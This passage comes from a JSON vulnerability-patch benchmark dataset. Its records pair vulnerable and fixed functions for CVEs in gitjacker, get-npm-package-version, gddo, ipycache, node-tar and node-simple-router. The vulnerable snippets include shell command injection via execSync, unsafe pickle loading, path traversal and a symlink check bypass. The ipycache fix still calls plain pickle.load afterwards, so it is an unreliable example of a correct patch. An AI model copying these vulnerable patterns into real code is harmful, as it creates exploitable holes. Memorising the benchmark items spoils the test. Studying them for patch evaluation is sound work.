%s\", path, objectType)\n\t}\n\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_46_1",
                "commit": "d72a53a",
                "file_path": "internal/pkg/gitjacker/retriever.go",
                "start_line": 159,
                "end_line": 287,
                "snippet": "func (r *retriever) downloadFile(path string) error {\n\n\tpath = strings.TrimSpace(path)\n\n\tfilePath := filepath.Join(r.outputDir, \".git\", filepath.FromSlash(filepath.Clean(\"/\"+path)))\n\n\tif r.downloaded[path] {\n\t\treturn nil\n\t}\n\tr.downloaded[path] = true\n\n\trelative, err := url.Parse(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tabsolute := r.baseURL.ResolveReference(relative)\n\tresp, err := r.http.Get(absolute.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve %s: %w\", absolute.String(), err)\n\t}\n\tdefer func() { _ = resp.Body.Close() }()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"unexpected status code for url %s : %d\", absolute.String(), resp.StatusCode)\n\t}\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(filepath.Dir(filePath), 0755); err != nil {\n\t\treturn err\n\t}\n\n\tif !strings.HasSuffix(path, \"/\") {\n\t\tif err := ioutil.WriteFile(filePath, content, 0640); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write %s: %w\", filePath, err)\n\t\t}\n\t}\n\n\tswitch path {\n\tcase \"HEAD\":\n\t\tref := strings.TrimPrefix(string(content), \"ref: \")\n\t\tif err := r.downloadFile(ref); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\tcase \"config\":\n\t\treturn r.analyseConfig(content)\n\tcase \"objects/pack/\":\n\t\t// parse the directory listing\n\t\tpackFiles := packLinkRegex.FindAllStringSubmatch(string(content), -1)\n\t\tfor _, packFile := range packFiles {\n\t\t\tif len(packFile) <= 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := r.downloadFile(fmt.Sprintf(\"objects/pack/%s\", packFile[1])); err != nil {\n\t\t\t\tlogrus.Debugf(\"Failed to retrieve pack file %s: %s\", packFile[1], err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\treturn nil\n\tcase \"objects/info/packs\":\n\t\treturn r.parsePackMetadata(content)\n\t}\n\n\tif strings.HasSuffix(path, \".pack\") {\n\t\treturn r.parsePackFile(path, content)\n\t}\n\n\tif strings.HasPrefix(path, \"refs/heads/\") {\n\t\tif _, err := r.downloadObject(string(content)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\thash := filepath.Base(filepath.Dir(path)) + filepath.Base(path)\n\n\tobjectType, err := r.getObjectType(hash)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch objectType {\n\tcase GitCommitFile:\n\n\t\tcommit, err := r.readCommit(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved commit %s.\", hash)\n\n\t\tif commit.Tree != \"\" {\n\t\t\tif _, err := r.downloadObject(commit.Tree); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", commit.Tree)\n\t\t\t}\n\t\t}\n\t\tfor _, parent := range commit.Parents {\n\t\t\tif _, err := r.downloadObject(parent); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", parent)\n\t\t\t}\n\t\t}\n\n\tcase GitTreeFile:\n\n\t\ttree, err := r.readTree(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved tree %s.\", hash)\n\n\t\tfor _, subHash := range tree.Objects {\n\t\t\tif _, err := r.downloadObject(subHash); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", subHash)\n\t\t\t}\n\t\t}\n\tcase GitBlobFile:\n\t\tlogrus.Debugf(\"Successfully retrieved blob %s.\", hash)\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown git file type for %s: %s\", path, objectType)\n\t}\n\n\treturn nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-29417"
    },
    {
        "cve_id": "CVE-2020-7795",
        "cve_description": "The package get-npm-package-version before 1.0.7 are vulnerable to Command Injection via main function in index.js.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/hoperyy/get-npm-package-version",
        "patch_url": [
            "https://github.com/hoperyy/get-npm-package-version/commit/40b1cf31a0607ea66f9e30a0c3af1383b52b2dec",
            "https://github.com/hoperyy/get-npm-package-version/commit/49459d4a3ce68587d48ffa8dead86fc9ed58e965"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_16_1",
                "commit": "5279786",
                "file_path": "index.js",
                "start_line": 1,
                "end_line": 28,
                "snippet": "module.exports = function (packageName, { registry = '', timeout = null } = {}) {\n    try {\n        let version;\n\n        const config = {\n            stdio: ['pipe', 'pipe', 'ignore']\n        };\n\n        if (timeout) {\n            config.timeout = timeout;\n        }\n\n        if (registry) {\n            version = require('child_process').execSync(`npm view ${packageName} version --registry ${registry}`, config);\n        } else {\n            version = require('child_process').execSync(`npm view ${packageName} version`, config);\n        }\n\n        if (version) {\n            return version.toString().trim().replace(/^\\n*/, '').replace(/\\n*$/, '');\n        } else {\n            return null;\n        }\n\n    } catch(err) {\n        return null;\n    }\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_16_1",
                "commit": "40b1cf3",
                "file_path": "index.js",
                "start_line": 1,
                "end_line": 31,
                "snippet": "module.exports = function (packageName, { registry = '', timeout = null } = {}) {\n    try {\n        if (/[`$&{}[;|]/g.test(packageName) || /[`$&{}[;|]/g.test(registry)) {\n            return null\n        }\n        let version;\n\n        const config = {\n            stdio: ['pipe', 'pipe', 'ignore']\n        };\n\n        if (timeout) {\n            config.timeout = timeout;\n        }\n\n        if (registry) {\n            version = require('child_process').execSync(`npm view ${packageName} version --registry ${registry}`, config);\n        } else {\n            version = require('child_process').execSync(`npm view ${packageName} version`, config);\n        }\n\n        if (version) {\n            return version.toString().trim().replace(/^\\n*/, '').replace(/\\n*$/, '');\n        } else {\n            return null;\n        }\n\n    } catch(err) {\n        return null;\n    }\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7795"
    },
    {
        "cve_id": "CVE-2018-12976",
        "cve_description": "In Go Doc Dot Org (gddo) through 2018-06-27, an attacker could use specially crafted  tags in packages being fetched by gddo to cause a directory traversal and remote code execution.",
        "cwe_info": {
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/golang/gddo",
        "patch_url": [
            "https://github.com/golang/gddo/commit/daffe1f90ec57f8ed69464f9094753fc6452e983"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_19_1",
                "commit": "9ab275b",
                "file_path": "gosrc/gosrc.go",
                "start_line": 353,
                "end_line": 446,
                "snippet": "func getDynamic(ctx context.Context, client *http.Client, importPath, etag string) (*Directory, error) {\n\tmetaProto, im, sm, redir, err := fetchMeta(ctx, client, importPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif im.projectRoot != importPath {\n\t\tvar imRoot *importMeta\n\t\tmetaProto, imRoot, _, redir, err = fetchMeta(ctx, client, im.projectRoot)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif *imRoot != *im {\n\t\t\treturn nil, NotFoundError{Message: \"project root mismatch.\"}\n\t\t}\n\t}\n\n\t// clonePath is the repo URL from import meta tag, with the \"scheme://\" prefix removed.\n\t// It should be used for cloning repositories.\n\t// repo is the repo URL from import meta tag, with the \"scheme://\" prefix removed, and\n\t// a possible \".vcs\" suffix trimmed.\n\ti := strings.Index(im.repo, \"://\")\n\tif i < 0 {\n\t\treturn nil, NotFoundError{Message: \"bad repo URL: \" + im.repo}\n\t}\n\tproto := im.repo[:i]\n\tclonePath := im.repo[i+len(\"://\"):]\n\trepo := strings.TrimSuffix(clonePath, \".\"+im.vcs)\n\tdirName := importPath[len(im.projectRoot):]\n\n\tresolvedPath := repo + dirName\n\tdir, err := getStatic(ctx, client, resolvedPath, etag)\n\tif err == errNoMatch {\n\t\tresolvedPath = repo + \".\" + im.vcs + dirName\n\t\tmatch := map[string]string{\n\t\t\t\"dir\":        dirName,\n\t\t\t\"importPath\": importPath,\n\t\t\t\"clonePath\":  clonePath,\n\t\t\t\"repo\":       repo,\n\t\t\t\"scheme\":     proto,\n\t\t\t\"vcs\":        im.vcs,\n\t\t}\n\t\tdir, err = getVCSDirFn(ctx, client, match, etag)\n\t}\n\tif err != nil || dir == nil {\n\t\treturn nil, err\n\t}\n\n\tdir.ImportPath = importPath\n\tdir.ProjectRoot = im.projectRoot\n\tdir.ResolvedPath = resolvedPath\n\tdir.ProjectName = path.Base(im.projectRoot)\n\tif !redir {\n\t\tdir.ProjectURL = metaProto + \"://\" + im.projectRoot\n\t}\n\n\tif sm == nil {\n\t\treturn dir, nil\n\t}\n\n\tif isHTTPURL(sm.projectURL) {\n\t\tdir.ProjectURL = sm.projectURL\n\t}\n\n\tif isHTTPURL(sm.dirTemplate) {\n\t\tdir.BrowseURL = replaceDir(sm.dirTemplate, dirName)\n\t}\n\n\t// TODO: Refactor this to be simpler, implement the go-source meta tag spec fully.\n\tif isHTTPURL(sm.fileTemplate) {\n\t\tfileTemplate := replaceDir(sm.fileTemplate, dirName)\n\t\tif strings.Contains(fileTemplate, \"{file}\") {\n\t\t\tcut := strings.LastIndex(fileTemplate, \"{file}\") + len(\"{file}\") // Cut point is right after last {file} section.\n\t\t\tswitch hash := strings.Index(fileTemplate, \"#\"); {\n\t\t\tcase hash == -1: // If there's no '#', place cut at the end.\n\t\t\t\tcut = len(fileTemplate)\n\t\t\tcase hash > cut: // If a '#' comes after last {file}, use it as cut point.\n\t\t\t\tcut = hash\n\t\t\t}\n\t\t\thead, tail := fileTemplate[:cut], fileTemplate[cut:]\n\t\t\tfor _, f := range dir.Files {\n\t\t\t\tf.BrowseURL = strings.Replace(head, \"{file}\", f.Name, -1)\n\t\t\t}\n\n\t\t\tif strings.Contains(tail, \"{line}\") {\n\t\t\t\ts := strings.Replace(tail, \"%\", \"%%\", -1)\n\t\t\t\ts = strings.Replace(s, \"{line}\", \"%d\", 1)\n\t\t\t\tdir.LineFmt = \"%s\" + s\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dir, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            28
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_19_1",
                "commit": "daffe1f",
                "file_path": "gosrc/gosrc.go",
                "start_line": 353,
                "end_line": 449,
                "snippet": "func getDynamic(ctx context.Context, client *http.Client, importPath, etag string) (*Directory, error) {\n\tmetaProto, im, sm, redir, err := fetchMeta(ctx, client, importPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif im.projectRoot != importPath {\n\t\tvar imRoot *importMeta\n\t\tmetaProto, imRoot, _, redir, err = fetchMeta(ctx, client, im.projectRoot)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif *imRoot != *im {\n\t\t\treturn nil, NotFoundError{Message: \"project root mismatch.\"}\n\t\t}\n\t}\n\n\t// clonePath is the repo URL from import meta tag, with the \"scheme://\" prefix removed.\n\t// It should be used for cloning repositories.\n\t// repo is the repo URL from import meta tag, with the \"scheme://\" prefix removed, and\n\t// a possible \".vcs\" suffix trimmed.\n\ti := strings.Index(im.repo, \"://\")\n\tif i < 0 {\n\t\treturn nil, NotFoundError{Message: \"bad repo URL: \" + im.repo}\n\t}\n\tproto := im.repo[:i]\n\tclonePath := im.repo[i+len(\"://\"):]\n\trepo := strings.TrimSuffix(clonePath, \".\"+im.vcs)\n\tif !IsValidRemotePath(repo) {\n\t\treturn nil, fmt.Errorf(\"bad path from meta: %s\", repo)\n\t}\n\tdirName := importPath[len(im.projectRoot):]\n\n\tresolvedPath := repo + dirName\n\tdir, err := getStatic(ctx, client, resolvedPath, etag)\n\tif err == errNoMatch {\n\t\tresolvedPath = repo + \".\" + im.vcs + dirName\n\t\tmatch := map[string]string{\n\t\t\t\"dir\":        dirName,\n\t\t\t\"importPath\": importPath,\n\t\t\t\"clonePath\":  clonePath,\n\t\t\t\"repo\":       repo,\n\t\t\t\"scheme\":     proto,\n\t\t\t\"vcs\":        im.vcs,\n\t\t}\n\t\tdir, err = getVCSDirFn(ctx, client, match, etag)\n\t}\n\tif err != nil || dir == nil {\n\t\treturn nil, err\n\t}\n\n\tdir.ImportPath = importPath\n\tdir.ProjectRoot = im.projectRoot\n\tdir.ResolvedPath = resolvedPath\n\tdir.ProjectName = path.Base(im.projectRoot)\n\tif !redir {\n\t\tdir.ProjectURL = metaProto + \"://\" + im.projectRoot\n\t}\n\n\tif sm == nil {\n\t\treturn dir, nil\n\t}\n\n\tif isHTTPURL(sm.projectURL) {\n\t\tdir.ProjectURL = sm.projectURL\n\t}\n\n\tif isHTTPURL(sm.dirTemplate) {\n\t\tdir.BrowseURL = replaceDir(sm.dirTemplate, dirName)\n\t}\n\n\t// TODO: Refactor this to be simpler, implement the go-source meta tag spec fully.\n\tif isHTTPURL(sm.fileTemplate) {\n\t\tfileTemplate := replaceDir(sm.fileTemplate, dirName)\n\t\tif strings.Contains(fileTemplate, \"{file}\") {\n\t\t\tcut := strings.LastIndex(fileTemplate, \"{file}\") + len(\"{file}\") // Cut point is right after last {file} section.\n\t\t\tswitch hash := strings.Index(fileTemplate, \"#\"); {\n\t\t\tcase hash == -1: // If there's no '#', place cut at the end.\n\t\t\t\tcut = len(fileTemplate)\n\t\t\tcase hash > cut: // If a '#' comes after last {file}, use it as cut point.\n\t\t\t\tcut = hash\n\t\t\t}\n\t\t\thead, tail := fileTemplate[:cut], fileTemplate[cut:]\n\t\t\tfor _, f := range dir.Files {\n\t\t\t\tf.BrowseURL = strings.Replace(head, \"{file}\", f.Name, -1)\n\t\t\t}\n\n\t\t\tif strings.Contains(tail, \"{line}\") {\n\t\t\t\ts := strings.Replace(tail, \"%\", \"%%\", -1)\n\t\t\t\ts = strings.Replace(s, \"{line}\", \"%d\", 1)\n\t\t\t\tdir.LineFmt = \"%s\" + s\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dir, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-12976"
    },
    {
        "cve_id": "CVE-2019-7539",
        "cve_description": "A code injection issue was discovered in ipycache through 2016-05-31.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/adi928/ipycache",
        "patch_url": [
            "https://github.com/adi928/ipycache/commit/9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e",
            "https://github.com/adi928/ipycache/commit/c73a726744c90cc2cb200b159edbaf5deddcb753"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_23_1",
                "commit": "2c334c5",
                "file_path": "ipycache.py",
                "start_line": 102,
                "end_line": 141,
                "snippet": "def load_vars(path, vars):\n    \"\"\"Load variables from a pickle file.\n    \n    Arguments:\n    \n      * path: the path to the pickle file.\n      * vars: a list of variable names.\n    \n    Returns:\n    \n      * cache: a dictionary {var_name: var_value}.\n    \n    \"\"\"\n    with open(path, 'rb') as f:\n        # Load the variables from the cache.\n        try:\n            cache = pickle.load(f)\n        except EOFError as e:\n            cache={}\n            #raise IOError(str(e))\n        \n        # Check that all requested variables could be loaded successfully\n        # from the cache.\n        missing_vars = sorted(set(vars) - set(cache.keys()))\n        if missing_vars:\n            raise ValueError((\"The following variables could not be loaded \"\n                \"from the cache: {0:s}\").format(\n                ', '.join([\"'{0:s}'\".format(var) for var in missing_vars])))\n        additional_vars = sorted(set(cache.keys()) - set(vars))\n        for hidden_variable in '_captured_io', '_cell_md5':\n            try:\n                additional_vars.remove(hidden_variable)\n            except ValueError:\n                pass\n        if additional_vars:\n            raise ValueError(\"The following variables were present in the cache, \"\n                    \"but removed from the storage request: {0:s}\".format(\n                ', '.join([\"'{0:s}'\".format(var) for var in additional_vars])))\n        \n        return cache",
                "vul_localization": [
                    {
                        "patch_lines": [
                            17
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_23_1",
                "commit": "9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e",
                "file_path": "ipycache.py",
                "start_line": 101,
                "end_line": 142,
                "snippet": "def load_vars(path, vars):\n    \"\"\"Load variables from a pickle file.\n    \n    Arguments:\n    \n      * path: the path to the pickle file.\n      * vars: a list of variable names.\n    \n    Returns:\n    \n      * cache: a dictionary {var_name: var_value}.\n    \n    \"\"\"\n    with open(path, 'rb') as f:\n        # Load the variables from the cache.\n        try:\n            restricted_loads(f.read())\n            cache = pickle.load(f)\n        except EOFError as e:\n            cache={}\n            #raise IOError(str(e))\n        \n        # Check that all requested variables could be loaded successfully\n        # from the cache.\n        missing_vars = sorted(set(vars) - set(cache.keys()))\n        if missing_vars:\n            raise ValueError((\"The following variables could not be loaded \"\n                \"from the cache: {0:s}\").format(\n                ', '.join([\"'{0:s}'\".format(var) for var in missing_vars])))\n        additional_vars = sorted(set(cache.keys()) - set(vars))\n        for hidden_variable in '_captured_io', '_cell_md5':\n            try:\n                additional_vars.remove(hidden_variable)\n            except ValueError:\n                pass\n        if additional_vars:\n            raise ValueError(\"The following variables were present in the cache, \"\n                    \"but removed from the storage request: {0:s}\".format(\n                ', '.join([\"'{0:s}'\".format(var) for var in additional_vars])))\n        \n        return cache\n"
            },
            {
                "id": "fix_py_23_2",
                "commit": "9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e",
                "file_path": "ipycache.py",
                "start_line": 160,
                "end_line": 173,
                "snippet": "class RestrictedUnpickler(pickle.Unpickler):\n\n    def find_class(self, module, name):\n        if module == '_io' and name == 'StringIO':\n            return getattr(sys.modules[module], name)\n        # Forbid everything else.\n        raise pickle.UnpicklingError(\"global '%s.%s' is forbidden\" %\n                                     (module, name))\n\n\ndef restricted_loads(s):\n    \"\"\"Helper function analogous to pickle.loads().\"\"\"\n    return RestrictedUnpickler(io.BytesIO(s)).load()\n"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-7539"
    },
    {
        "cve_id": "CVE-2021-32803",
        "cve_description": "The npm package \"tar\" (aka node-tar) before versions 6.1.2, 5.0.7, 4.4.15, and 3.2.3 has an arbitrary File Creation/Overwrite vulnerability via insufficient symlink protection. `node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.",
        "cwe_info": {
            "CWE-59": {
                "name": "Improper Link Resolution Before File Access ('Link Following')",
                "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."
            }
        },
        "repo": "https://github.com/npm/node-tar",
        "patch_url": [
            "https://github.com/npm/node-tar/commit/9dbdeb6df8e9dbd96fa9e84341b9d74734be6c20"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_47_1",
                "commit": "df3aa4d",
                "file_path": "lib/unpack.js",
                "start_line": 415,
                "end_line": 437,
                "snippet": "  [CHECKFS] (entry) {\n    this[PEND]()\n    this[MKDIR](path.dirname(entry.absolute), this.dmode, er => {\n      if (er)\n        return this[ONERROR](er, entry)\n      fs.lstat(entry.absolute, (er, st) => {\n        if (st && (this.keep || this.newer && st.mtime > entry.mtime))\n          this[SKIP](entry)\n        else if (er || this[ISREUSABLE](entry, st))\n          this[MAKEFS](null, entry)\n        else if (st.isDirectory()) {\n          if (entry.type === 'Directory') {\n            if (!entry.mode || (st.mode & 0o7777) === entry.mode)\n              this[MAKEFS](null, entry)\n            else\n              fs.chmod(entry.absolute, entry.mode, er => this[MAKEFS](er, entry))\n          } else\n            fs.rmdir(entry.absolute, er => this[MAKEFS](er, entry))\n        } else\n          unlinkFile(entry.absolute, er => this[MAKEFS](er, entry))\n      })\n    })\n  }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_js_47_2",
                "commit": "df3aa4d",
                "file_path": "lib/unpack.js",
                "start_line": 477,
                "end_line": 505,
                "snippet": "  [CHECKFS] (entry) {\n    const er = this[MKDIR](path.dirname(entry.absolute), this.dmode)\n    if (er)\n      return this[ONERROR](er, entry)\n    try {\n      const st = fs.lstatSync(entry.absolute)\n      if (this.keep || this.newer && st.mtime > entry.mtime)\n        return this[SKIP](entry)\n      else if (this[ISREUSABLE](entry, st))\n        return this[MAKEFS](null, entry)\n      else {\n        try {\n          if (st.isDirectory()) {\n            if (entry.type === 'Directory') {\n              if (entry.mode && (st.mode & 0o7777) !== entry.mode)\n                fs.chmodSync(entry.absolute, entry.mode)\n            } else\n              fs.rmdirSync(entry.absolute)\n          } else\n            unlinkFileSync(entry.absolute)\n          return this[MAKEFS](null, entry)\n        } catch (er) {\n          return this[ONERROR](er, entry)\n        }\n      }\n    } catch (er) {\n      return this[MAKEFS](null, entry)\n    }\n  }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_47_1",
                "commit": "46fe350",
                "file_path": "lib/unpack.js",
                "start_line": 415,
                "end_line": 451,
                "snippet": "  [CHECKFS] (entry) {\n    this[PEND]()\n\n    // if we are not creating a directory, and the path is in the dirCache,\n    // then that means we are about to delete the directory we created\n    // previously, and it is no longer going to be a directory, and neither\n    // is any of its children.\n    if (entry.type !== 'Directory') {\n      for (const path of this.dirCache.keys()) {\n        if (path === entry.absolute ||\n            path.indexOf(entry.absolute + '/') === 0 ||\n            path.indexOf(entry.absolute + '\\\\') === 0)\n          this.dirCache.delete(path)\n      }\n    }\n\n    this[MKDIR](path.dirname(entry.absolute), this.dmode, er => {\n      if (er)\n        return this[ONERROR](er, entry)\n      fs.lstat(entry.absolute, (er, st) => {\n        if (st && (this.keep || this.newer && st.mtime > entry.mtime))\n          this[SKIP](entry)\n        else if (er || this[ISREUSABLE](entry, st))\n          this[MAKEFS](null, entry)\n        else if (st.isDirectory()) {\n          if (entry.type === 'Directory') {\n            if (!entry.mode || (st.mode & 0o7777) === entry.mode)\n              this[MAKEFS](null, entry)\n            else\n              fs.chmod(entry.absolute, entry.mode, er => this[MAKEFS](er, entry))\n          } else\n            fs.rmdir(entry.absolute, er => this[MAKEFS](er, entry))\n        } else\n          unlinkFile(entry.absolute, er => this[MAKEFS](er, entry))\n      })\n    })\n  }"
            },
            {
                "id": "fix_js_47_2",
                "commit": "46fe350",
                "file_path": "lib/unpack.js",
                "start_line": 491,
                "end_line": 528,
                "snippet": "  [CHECKFS] (entry) {\n    if (entry.type !== 'Directory') {\n      for (const path of this.dirCache.keys()) {\n        if (path === entry.absolute ||\n            path.indexOf(entry.absolute + '/') === 0 ||\n            path.indexOf(entry.absolute + '\\\\') === 0)\n          this.dirCache.delete(path)\n      }\n    }\n\n    const er = this[MKDIR](path.dirname(entry.absolute), this.dmode)\n    if (er)\n      return this[ONERROR](er, entry)\n    try {\n      const st = fs.lstatSync(entry.absolute)\n      if (this.keep || this.newer && st.mtime > entry.mtime)\n        return this[SKIP](entry)\n      else if (this[ISREUSABLE](entry, st))\n        return this[MAKEFS](null, entry)\n      else {\n        try {\n          if (st.isDirectory()) {\n            if (entry.type === 'Directory') {\n              if (entry.mode && (st.mode & 0o7777) !== entry.mode)\n                fs.chmodSync(entry.absolute, entry.mode)\n            } else\n              fs.rmdirSync(entry.absolute)\n          } else\n            unlinkFileSync(entry.absolute)\n          return this[MAKEFS](null, entry)\n        } catch (er) {\n          return this[ONERROR](er, entry)\n        }\n      }\n    } catch (er) {\n      return this[MAKEFS](null, entry)\n    }\n  }"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-32803"
    },
    {
        "cve_id": "CVE-2017-16083",
        "cve_description": "node-simple-router's static file serving logic is vulnerable to directory traversal. An attacker who can send HTTP requests to the router can control the requested URL path and include raw or encoded dot-dot path segments, or other path forms that normalize outside the configured static_route directory. If the router builds a filesystem path from that URL without enforcing a canonical, path-boundary-aware containment check, the request can read and return files outside the intended static document root, including files in sibling directories whose names share the static root's string prefix. This can expose sensitive server-side files.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/sandy98/node-simple-router",
        "patch_url": [
            "https://github.com/sandy98/node-simple-router/commit/dfdd52e2e80607af433097d940b3834fd96df488"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_25_1",
                "commit": "91da429",
                "file_path": "lib/router.js",
                "start_line": 731,
                "end_line": 796,
                "snippet": "    dispatch[\"static\"] = function(pathname, req, res) {\n      var full_path;\n      full_path = \"\" + dispatch.static_route + (unescape(pathname));\n      return fs.exists(full_path, function(exists) {\n        var e, error;\n        if (exists) {\n          if (((pathname.indexOf(dispatch.cgi_dir + \"/\") !== -1) || (pathname.match(/\\.php$/))) && (pathname.substr(-1) !== \"/\") && (dispatch.serve_cgi === true)) {\n            try {\n              return dispatch.cgi(pathname, req, res);\n            } catch (error) {\n              e = error;\n              if (!!dispatch.logging) {\n                dispatch.log(e.toString());\n              }\n              return dispatch._500(null, res, pathname);\n            }\n          } else {\n            return fs.stat(full_path, function(err, stats) {\n              var fd;\n              if (err) {\n                if (!!dispatch.logging) {\n                  dispatch.log(err.toString());\n                }\n                return dispatch._500(null, res, pathname);\n              }\n              if (stats) {\n                if (stats.isDirectory()) {\n                  if (!!dispatch.list_dir) {\n                    return dispatch.directory(full_path, pathname, res);\n                  }\n                  return dispatch._405(null, res, pathname, \"Directory listing not allowed\");\n                }\n                if (stats.isFile()) {\n                  fd = fs.createReadStream(full_path);\n                  res.writeHead(200, {\n                    'Content-Type': mime_types[path_tools.extname(full_path)] || 'text/plain'\n                  });\n                  return fd.pipe(res);\n                }\n              }\n            });\n          }\n        } else {\n          if (unescape(pathname).match(/favicon\\.ico$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('favicon.ico')] || 'application/x-icon'\n            });\n            return res.end(new Buffer(unescape(escaped_favicon), 'binary'));\n          }\n          if (unescape(pathname).match(/icons\\.png$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('icons.png')] || 'image/png'\n            });\n            return res.end(new Buffer(unescape(escaped_icons_png), 'binary'));\n          }\n          if (unescape(pathname).match(/pixel\\.gif$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('pixel.gif')] || 'image/gif'\n            });\n            return res.end(new Buffer(unescape(escaped_pixel_gif), 'binary'));\n       